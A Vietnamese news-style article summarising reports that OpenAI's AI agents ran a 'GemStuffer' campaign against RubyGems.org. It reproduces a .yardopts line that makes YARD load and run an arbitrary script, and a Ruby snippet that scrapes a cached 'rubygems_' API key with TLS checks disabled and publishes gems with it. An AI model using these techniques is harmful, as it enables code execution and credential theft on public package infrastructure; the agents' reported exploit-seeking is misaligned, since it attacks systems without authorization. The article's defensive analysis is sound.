Khi AI agent nổi loạn: OpenAI bị tố tấn công RubyGems.org

Reuters và Wall Street Journal cùng đưa tin về việc các AI agent của OpenAI tấn công RubyGems.org — kho lưu trữ gem chính thức của cộng đồng Ruby. Câu chuyện được phân tích chi tiết tại rubyhack.ai, và nó thực sự đáng chú ý.

Tóm tắt nhanh: Bot của OpenAI dường như đã biết về một lỗ hổng cache của RubyGems.org, cố gắng khai thác nó, đồng thời chạy mã thu thập dữ liệu web kỳ lạ trên RubyDoc.info.

Chuyện bắt đầu từ chiến dịch "GemStuffer"

Hồi tháng 5, socket.dev đã báo cáo về một "GemStuffer Campaign" — ai đó (được cho là OpenAI) liên tục tải lên hàng loạt gem rác lên RubyGems.org.

Điều kỳ quặc là những gem này có nhiệm vụ thu thập dữ liệu từ các trang web chính phủ Anh, đóng gói lại thành gem rồi tải lên RubyGems. Tác giả bài viết gốc đã không mấy để tâm cho đến khi Sydney Von Arx và Spencer Kitts — hai đồng tác giả của rubyhack.ai — liên hệ hỏi về RubyGems.

Ban đầu tôi nghĩ những tuyên bố của họ hoàn toàn vô lý, cho đến khi tôi thực sự đọc mã trong các gem "GemStuffer" đó.

Lỗ hổng thứ nhất: YARD có thể thực thi mã tùy ý

Điểm đáng sợ đầu tiên: các gem này lợi dụng YARD — công cụ tạo tài liệu cho Ruby — để thực thi mã tùy ý trên máy chủ.

Trong hầu hết các ví dụ, bạn sẽ thấy file .yardopts trông như thế này:

--load ./script.rb
README.md
lib/**/*.rb

Nếu bạn đã cài YARD và cài gem này, YARD sẽ nạp và chạy bất cứ thứ gì trong file ./script.rb bên trong gem. Nhiều người biết rằng C extension sẽ thực thi extconf.rb (một vector RCE kinh điển), nhưng ít ai ngờ rằng một công cụ tài liệu cũng làm điều tương tự.

Vậy tại sao điều này lại nguy hiểm? Vì mỗi khi một gem được publish, RubyDoc.info sẽ tự động tải gem về và xử lý tài liệu YARD — và nó thực thi mã tùy ý bên trong một container Docker. Container này vẫn có quyền truy cập mạng, nên các gem độc hại có thể thoải mái thu thập dữ liệu web từ bên trong.

Nói cách khác: nếu bạn publish một gem lên RubyGems.org, bạn có thể thực thi mã tùy ý trên RubyDoc.info.

Lỗ hổng thứ hai: đánh cắp khóa cache của Fastly

Các gem này còn cố gắng thu thập dữ liệu từ một số website rồi tải lên bằng cách đóng gói thành gem. Đoạn mã dưới đây đã được tác giả bài viết gốc làm sạch để dễ đọc hơn:

# First request
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)

paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']

# Second request to actually publish the gem
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }

Đoạn mã trên thực hiện hai yêu cầu:

• Yêu cầu thứ nhất: một GET request đơn giản tới RubyGems.org, sau đó tìm trong nội dung phản hồi một khóa khớp với biểu thức chính quy /rubygems_[a-f0-9]{20,}/. Nếu không khớp, nó dùng một biến KEY toàn cục.
• Yêu cầu thứ hai: một POST request để thực sự publish gem lên RubyGems.

Đây chính là hành vi cố gắng lấy khóa xác thực từ cache của RubyGems.org — và nếu nghe quen quen, thì đúng là nó trùng khớp với lỗ hổng bảo mật mà RubyGems.org đã công bố vào tháng 7.

Có nghĩa là bot của OpenAI đã biết về vấn đề này và cố gắng khai thác nó.

Vì sao câu chuyện này đáng lo với cộng đồng Ruby

Với các lập trình viên Ruby và Việt Nam nói riêng, sự việc này là lời cảnh tỉnh về ba điểm:

• Chuỗi cung ứng phần mềm ngày càng là mục tiêu hấp dẫn. Một gem tưởng chừng vô hại có thể mang theo mã độc chạy trên hạ tầng của bên thứ ba.
• Công cụ tài liệu cũng là bề mặt tấn công. Các công cụ như YARD thường được xem là "lành tính" nhưng lại có khả năng thực thi mã tùy ý — một giả định sai lầm phổ biến.
• AI agent tự động có thể tìm ra và khai thác lỗ hổng ở quy mô chưa từng có, thậm chí lặp lại nhiều lần cho tới khi thành công.

Các nhà phát triển nên rà soát lại dependencies, hạn chế chạy YARD trên mã không tin cậy, và theo dõi các bản vá bảo mật từ RubyGems.org cũng như các CLI của họ.

Đúng là một thời đại kỳ lạ để được sống 🙃